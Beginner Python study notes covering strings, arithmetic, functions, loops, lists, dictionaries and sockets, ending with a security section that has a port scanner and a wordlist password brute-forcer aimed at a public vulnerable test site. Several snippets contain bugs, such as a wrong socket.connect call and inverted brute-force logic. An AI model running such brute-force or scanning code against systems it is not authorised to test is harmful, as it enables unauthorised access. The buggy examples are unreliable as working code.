Python

Notion Link: https://wise-monitor-956.notion.site/Python-10c1d1e7e13c800cb943d06973f15a4c

String

Creation:

• Example: my_string = 'Hello, World!' or my_string = "Hello, World!"

Accessing Characters:

• You can access individual characters within a string using indexing, starting from 0.

• Example: print(my_string[0]) would output 'H'.

String Concatenation:

• You can concatenate (join) two or more strings using the + operator.

• Example: greeting = 'Hello' + ' ' + 'World!' would result in 'Hello World!'.

String Length:

• The len() function can be used to determine the length (number of characters) of a string.

• Example: print(len(my_string)) would output the length of the string.

String Slicing:

• You can extract a substring from a string using slicing, specifying the start and end indices.

• Example: substring = my_string[7:12] would extract the substring 'World'.

print(x[:9]) # will print from 0 to 9
print(x[9:]) # print from 9 to the last char
print(x[0:5]) # print from 0 to 5

String Methods:

• Python provides various built-in methods to manipulate and transform strings. Examples include upper(), lower(), strip(), split(), replace(), and more.

• Example: print(my_string.upper()) would output 'HELLO, WORLD!'.

# split : splits a string into a list of strings after breaking the given string by the specified separator.

x="hello world"
print(x.split(" "))
# output
['hello', 'world']

String Formatting:

• String formatting allows you to embed values within a string. This can be done using the % operator or the format() method.

• You can also use f strings as shown in the example below

name = 'Alice'
age = 30
print("My name is %s and I'm %d years old." % (name, age))
print(f"My name is {name} and I'm {age} years old.") # i like this way
# Both will output: My name is Alice and I'm 30 years old.

print("""This string runs
multiple lines!""")

*triple quote for multi-line*

To check if this char is found

user="hello world"
print("a" in user)  # return  true or false - Case sensitive

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Arithmetic Operations

Math Operators:

• Addition (+): Adds two numbers.

• Subtraction (``): Subtracts one number from another.

• Multiplication (``): Multiplies two numbers.

• Division (/): Divides one number by another.

• Integer Division (//): Performs division and returns the quotient as an integer (rounds down) .

• Modulo (%): Returns the remainder of division.

• Exponentiation (*): Raises a number to a power.

u can use (int(5/2)) to return the int value

Math Functions in the math Module:

• math.sqrt(x): Calculates the square root of x.

• math.pow(x, y): Raises x to the power of y.

• math.exp(x): Calculates the exponential value of x (e^x).

• math.log(x): Calculates the natural logarithm of x (base e).

• math.log10(x): Calculates the logarithm of x to base 10.

• math.sin(x), math.cos(x), math.tan(x): Calculate the sine, cosine, and tangent of x, respectively (where x is in radians).

• math.degrees(x): Converts x from radians to degrees.

• math.radians(x): Converts x from degrees to radians.

but you must import math module first

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Variables and Basic Methods

Functions

Some function for string upper() , lower() , title()

var = "hello world"
print(var.upper()) # print all cahrs is upper "HELLO WORLD"
print(var.lower()) # print all cahrs is lower "hello world"
print(var.title()) # print the first char of each word is capital "Hello World"

→ In python we can’t concatenate intwith string we can transfer it to string to use concatenation by this way str(var)

→ python don’t have Postfix and Prefix

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User Input

We use input() to take value from user

var = input("Enter your name")
print (f"your name is {var}") # your name is Ahmed

# the value is stored in var is always string
var = int(input("Enter your age: "))
print (type(var)) # is print <calss 'int'> # the type of var is int

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Functions

To write Function def NameOfFunction():

# void function (like cpp XD :)
def whoami(name,age):
	print(f"my name is {name} and my age is {age}")
# creat two varible to use him in the function
name = input()
age = input()
whoami(name,age) # the output is "my name is ahmed and my age is 99"

def add(num1,num2):
    return num1 + num2
    
x=20;y=20  # we can write to variable in the same line but we must write semi column (;) 
print(add(x,y))

→ num1, num2 in function called parameter

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Condition

if condition have 3 type if, elif, else

# and , or used in condition
def fun(x):
    if x>=93 and x<=100:
        return "A grade"
    elif x<93 and x>=89:
        return "A- grade"
    else:
        return "B grade"
print(fun(92))
print(fun(80))

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Loop

Use For loop

x="hello everyone how are you"
for i in x:
    print(i,end=" ") # print each char with space not new line
# output -> h e l l o   e v e r y o n e   h o w   a r e   y o u

range → we use it with int number and have (start,end,step)

for i in range(0,10,2):
    print(i,end="")       # output is 02468 start=0 , end=10 ,step=2
    
for i in range(0,10):    # we can remove step (default step is 1) and we can remove start (default is 0)
    print(i,end="")        # 0123456789

Use While loop

→ we use while when we can’t know the number of steps we need it so use it with condition like check the correct password

x=10
while x>5:
    print(x,end=" ")  # output is 10 9 8 7 6 
    x-=1

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List

Have brackets [] - everything inside is called an item - is called array in another programming language like cpp,php,etc

arr=["ahmed",99,"hitler",'c']
print(arr[1]) # output is 99 - return the second item in the list
print(arr[1:3]) # return the first number (99) until the last number given (hitler) | 1 - 2 -> range
print(arr[:2])  # return from item 0 to item 1 (ahmed , 99)  
print(arr[-1])  # return the last item 

Some Function use with List

arr.append("user") # insert value in the last of list
arr.insert(2,20)   # take the position and value
arr.pop(2)        # remove item 2 from list the default value is -1

→ Combine list : concatenation with two list or more and store it in another list

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Tuples

Immutable(can’t be changed) - ()

arr=("user",20,"test")
print(arr)

we can use it with color like red =(255,0,0)

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Dictionary

Key/Value pairs { } -{key:value}

x={"name": "ahmed","age":00}
print(x["name"])  # to print value you must use the key of this value

the value may be List but the key is unique

dict={"users":["user1","user2","user3"]}

we can add new key to dictionary by this way

dict={"users":["user1","user2","user3"]}
dict["cname"]="alias"  # NameOfDictionary[Key]=value
print(dict)  # output => {'users': ['user1', 'user2', 'user3'], 'cname': 'alias'}

Dictionary functions

dict={"users":["user1","user2","user3"]}
dict.update({"cname":"alias"})   # use to insert key,value in the dictionary
print(dict.get("cname"))          # print the value for this key

print(len(dict))     # print the length for this dictionry
del dict["cname"]  # delete the item from dictionary
del dict     # delete this dictionary

To print dictionary with loop

for key in dict:
    print(key,dict[key])

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Socket

To use socket u must import this module import socket

import socket
host = '127.0.0.1'
port = 7777

# create TCP connection
tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   # AF_INET -> IPv4 , SOCK_STREAM -> Port (for TCP)

# Create a UDP socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # AF_INET -> IPv4 , SOCK_DGTAM -> Port (for TCP)

tcp_socket.connect((host,port))

Once you have a socket object, you can use various methods to establish connections, send data, and receive data. Here are some commonly used methods:

• socket.connect(address): Establishes a connection to a remote address.

• socket.bind(address): Binds the socket to a specific address and port.

• socket.listen(backlog): Listens for incoming connections on a TCP socket.

• socket.accept(): Accepts an incoming connection and returns a new socket object for communication.

• socket.send(data): Sends data over the socket.

• socket.recv(buffer_size): Receives data from the socket.

• socket.settimeout(0.5) : Set time for connection

Port Scanning For ip address

import socket

def port_scanning(ipaddress, port):
    try:
        soc=socket.socket()
        soc.settimeout(0.5)
        soc.connect(ipaddress,port)
        print (f"the port {port} is open")
    except:
        print (f"the port {port} is closed")

ip=input("[+]Enter the IP address: ")
for port in range(74,85):
    port_scanning(ip, port)

check if is port or domain

import socket
from IPy import IP

def check_ip(ip):
    try:              # if user input is ip he will return him
        IP(ip)
        return ip
    except ValueError:    # if user input is domain he will convert him
        return socket.gethostbyname(ip)
ip=input("[+]Enter the IP address: ")
convert_ip=check_ip(ip)   # check if is domain or ip

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Security

we have many modules in python like os where it use to execute command on the system

import os
print(os.system("dir"))  # show all file in windows

requests send request to web page

GET Request

import requests as req
url="<http://testhtml5.vulnweb.com/#/popular>"
res=req.**get**(url)      # to get data from the server
print(res.text)       # show page source for this page in the request
print(res.status_code)  # show status code 200,301,302,404

POST Request

import requests as req
url="<http://test.com/login>"
payload="usernam=test&password=test"  # data it will be sent (input name, input password)
res=req.**post**(url,data=payload)  # send data to server
print(res.text)

Password brute force

import requests as req
url="<http://testphp.vulnweb.com/login.php>"
def attack(lol):
    payload = f"uname=admin&password={lol}"
    res=req.post(url,data=payload)
    if "Invalid username or password" not in res.text:
        return 0;
    else:
        return 1;
password=open("password.txt", "r")
while True:
    line = password.readline().strip()
    if not line:
        print("Password not found")
        break
    if attack(line):
        print(f"Found password: {line}")
        break

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Notes

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Variable Best Practices

Best Practice for Variable Naming: snake_case

• All letters are in lowercase.

• Words are separated by underscores (_).

Example of Snake Case:

total_amount = 100
user_name = "JohnDoe"
is_valid = True

Constants in All Uppercase:

• For variables that represent constants (values that do not change), use ALL_UPPERCASE with underscores between words.

• Example:

MAX_SIZE = 100
DEFAULT_TIMEOUT = 30

Private Variables with Leading Underscore:

• If you intend for a variable to be used only within a module or class, prefix it with a single underscore (_), indicating that it is meant to be "private."

• Example:

_cache = {}
_internal_variable = 42

Summary of Best Practices:

• **Use snake_case** for variable names.

• Use meaningful and descriptive names.

• Avoid reserved keywords.

• Use ALL_UPPERCASE for constants.

• Use a leading underscore (_) for internal/private variables.

• Be consistent with naming conventions across your code.

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